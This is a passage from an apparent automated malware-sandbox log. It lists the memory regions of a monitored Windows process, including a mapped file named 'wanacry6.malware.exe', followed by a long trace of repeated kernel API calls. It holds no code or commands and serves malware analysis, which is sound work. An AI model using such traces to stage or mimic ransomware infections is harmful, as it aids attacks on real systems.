"c:\\windows\\system32\\cfgmgr32.dll") Region: id = 10355 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 10356 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 10357 start_va = 0xec5470000 end_va = 0xec550ffff entry_point = 0x0 region_type = private name = "private_0x0000000ec5470000" filename = "" Region: id = 10358 start_va = 0xec5470000 end_va = 0xec5476fff entry_point = 0x0 region_type = private name = "private_0x0000000ec5470000" filename = "" Region: id = 10359 start_va = 0xec5500000 end_va = 0xec550ffff entry_point = 0x0 region_type = private name = "private_0x0000000ec5500000" filename = "" Region: id = 10360 start_va = 0xec5480000 end_va = 0xec54b3fff entry_point = 0xec5481030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 10361 start_va = 0xec5970000 end_va = 0xec5af7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ec5970000" filename = "" Region: id = 10362 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 10363 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 10364 start_va = 0xec5b00000 end_va = 0xec5c80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ec5b00000" filename = "" Region: id = 10365 start_va = 0xec5c90000 end_va = 0xec708ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ec5c90000" filename = "" Region: id = 10366 start_va = 0xec5480000 end_va = 0xec5480fff entry_point = 0x0 region_type = private name = "private_0x0000000ec5480000" filename = "" Region: id = 10367 start_va = 0xec5490000 end_va = 0xec5490fff entry_point = 0x0 region_type = private name = "private_0x0000000ec5490000" filename = "" Region: id = 10368 start_va = 0xec54a0000 end_va = 0xec54a0fff entry_point = 0xec54a0000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 10369 start_va = 0xec54b0000 end_va = 0xec54b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ec54b0000" filename = "" Region: id = 10370 start_va = 0xec7090000 end_va = 0xec713ffff entry_point = 0x0 region_type = private name = "private_0x0000000ec7090000" filename = "" Region: id = 10371 start_va = 0xec7140000 end_va = 0xec71f9fff entry_point = 0xec716c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 10372 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 10373 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 10374 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 10375 start_va = 0xec54a0000 end_va = 0xec54a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ec54a0000" filename = "" Region: id = 10376 start_va = 0xec7140000 end_va = 0xec722ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ec7140000" filename = "" Region: id = 10377 start_va = 0xec54a0000 end_va = 0xec54a3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ec54a0000" filename = "" Region: id = 10378 start_va = 0xec54c0000 end_va = 0xec54c6fff entry_point = 0x0 region_type = private name = "private_0x0000000ec54c0000" filename = "" Region: id = 10379 start_va = 0xec7230000 end_va = 0xec732ffff entry_point = 0x0 region_type = private name = "private_0x0000000ec7230000" filename = "" Region: id = 10380 start_va = 0xec7330000 end_va = 0xec7430fff entry_point = 0xec735fa1c region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Program Files\\Common Files\\wanacry6.malware.exe" (normalized: "c:\\program files\\common files\\wanacry6.malware.exe") Region: id = 10381 start_va = 0xec54d0000 end_va = 0xec54d0fff entry_point = 0x0 region_type = private name = "private_0x0000000ec54d0000" filename = "" Region: id = 10382 start_va = 0x7ffd1b1a0000 end_va = 0x7ffd1b1c0fff entry_point = 0x7ffd1b1a1100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 10383 start_va = 0xec7330000 end_va = 0xec7604fff entry_point = 0xec7330000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 10384 start_va = 0xec54e0000 end_va = 0xec54e2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ec54e0000" filename = "" Region: id = 10385 start_va = 0xec54e0000 end_va = 0xec54e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ec54e0000" filename = "" Region: id = 10386 start_va = 0xec54f0000 end_va = 0xec54f0fff entry_point = 0x0 region_type = private name = "private_0x0000000ec54f0000" filename = "" Region: id = 10387 start_va = 0xec7610000 end_va = 0xec7b01fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ec7610000" filename = "" Region: id = 10388 start_va = 0xec7b10000 end_va = 0xec897ffff entry_point = 0xec7b10000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 10389 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 10390 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10391 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 10392 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 10393 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 10394 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10395 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 10396 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 10397 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 10398 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10399 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 10400 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 10401 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 10402 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10403 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 10404 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 10405 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 10406 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10407 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 10408 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 10409 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 10410 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10411 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 10412 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 10413 start_va = 0xec5510000 end_va = 0xec5510fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ec5510000" filename = "" Region: id = 10414 start_va = 0xec8980000 end_va = 0xec8b97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ec8980000" filename = "" Region: id = 10431 start_va = 0xec5510000 end_va = 0xec5512fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ec5510000" filename = "" Region: id = 10432 start_va = 0xec5520000 end_va = 0xec5520fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ec5520000" filename = "" Region: id = 10433 start_va = 0xec7090000 end_va = 0xec70d3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ec7090000" filename = "" Region: id = 10434 start_va = 0xec7130000 end_va = 0xec713ffff entry_point = 0x0 region_type = private name = "private_0x0000000ec7130000" filename = "" Region: id = 10435 start_va = 0xec8ba0000 end_va = 0xecba35fff entry_point = 0xec8ba0000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 10436 start_va = 0xecba40000 end_va = 0xecbe39fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000ecba40000" filename = "" Region: id = 10437 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 10438 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 10439 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 10440 start_va = 0xecbe40000 end_va = 0xecbf4afff entry_point = 0x0 region_type = private name = "private_0x0000000ecbe40000" filename = "" Thread: id = 899 os_tid = 0xb1c [0153.193] EngAllocMem () returned 0xfffff90142521030 [0153.193] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.193] MmMapViewOfSection (in: SectionObject=0xffffc0000153ae20, Process=0xffffe00000c8f900, BaseAddress=0xfffff90142521358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd000218c6ed0, ViewSize=0xfffff90142521370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff90142521358*=0xec8980000, SectionOffset=0xffffd000218c6ed0, ViewSize=0xfffff90142521370) returned 0x0 [0153.193] EngCreateBitmap () returned 0x66050578 [0153.193] EngAssociateSurface () returned 0x1 [0153.193] EngLockSurface () returned 0xfffff901400d76b8 [0153.193] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe000012371a0 [0153.193] KeInitializeEvent (in: Event=0xffffe000012371b8, Type=0x1, State=0 | out: Event=0xffffe000012371b8) [0153.193] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.199] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.199] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.200] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0153.215] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.215] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.215] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.216] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.216] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.217] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.223] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.223] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.224] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.224] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.224] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.224] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.224] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.224] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.224] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.224] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.224] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.225] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.225] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.225] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.225] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.225] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.225] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.225] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.225] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.225] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.225] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.225] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.225] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.225] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.225] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.225] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.225] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.226] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.226] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.226] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.226] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.226] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.226] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.226] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.226] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.226] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.226] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.226] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.226] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.226] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.226] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.226] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.227] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.227] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.227] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.227] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.227] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.227] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.227] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.227] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.227] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.227] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.227] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.227] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.227] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.227] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.228] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.228] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.228] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.228] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.228] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.228] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.228] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.228] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.228] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.228] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.228] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.228] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.228] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.228] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.228] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.228] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.229] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.229] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.229] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.229] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.229] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.229] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.229] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.229] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.229] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.229] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.229] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.229] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.229] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.229] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.229] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.230] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.230] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.230] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.230] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.230] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.230] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.230] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.230] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.230] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.230] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.230] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.230] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.230] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.230] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.230] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.230] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.230] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.231] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.231] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.231] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.231] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.231] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.231] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.231] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.231] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.231] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.231] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.231] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.232] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.232] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.240] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.240] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.240] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.240] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.240] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.240] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.240] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.240] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.240] IoGetCurrentProcess () returned 0xffffe00000c8f900 